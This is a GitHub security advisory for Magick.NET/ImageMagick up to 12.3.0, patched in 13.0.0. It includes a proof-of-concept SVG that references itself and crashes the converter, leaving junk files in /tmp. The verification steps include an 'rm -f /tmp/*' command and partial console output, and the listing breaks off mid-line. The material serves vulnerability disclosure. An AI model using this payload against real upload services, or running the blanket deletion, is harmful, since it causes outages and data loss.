GitHub Security Advisory: GHSA-j96m-mjp6-99xr
Package: Magick.NET-Q16-AnyCPU (NUGET)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 12.3.0
Patched in: 13.0.0

Summary: ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS

Details:
### Summary
Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS.

### Operating system, version and so on

Linux,  Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara)

### Tested ImageMagick version

6.9.11-60, 7.1.0-62

### Details
A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file.

It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server.

I think it's better to check the file descriptor coming from itself before executing ```read()```.

### PoC
1. Generate SVG file:
```<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="bad.svg" />
</svg>
```
2. Run some commands for verification:
```$rm -f /tmp/*
$./magick --version
Version: ImageMagick 7.1.0-62 Q16-HDRI x86_64 74b3683a4:20230211 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
$./magick convert -verbose -font OpenSymbol bad.svg t.jpg
'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-_9BfRq0uY2vmza_VOxWfjyvl' 2>&1
Segmentation fault
$ls /tmp
magick-1iZstE-dzlzQTN4HkWX_JlakXXtH4IEM  magick-GeFwj8Be_wISDLJnsr4s5WC7p079pzXN  magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM
magick-1LG0ND-RZMQOG8xizDHd-qdd6_Fu70YP  magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP  magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON
magick-25byX_oEeEr2dWIkr9nyEoVz1MHC2n9M  magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN  magick-siS7QS_av31X63ENYmecytIjx1iKmWAN
magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O  magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN  magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN
magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M  magick-hik3AU_2x0D_R8ViIBXUIuRljCXSmgqO  magick-sJhO2Yv_aeKsxt1JxDENKIiQqkOkSfwM
magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO  magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO  magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O
magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP  magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ  magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP
magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N  magick-_HWqrSdj_ihWMzjJ_eRiAkKbgrIljhUM  magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P
magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP  magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO  magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL
magick-3SVSiI4Yg_eQ01ZZV8lZsBM_MhauuwpO  magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L  m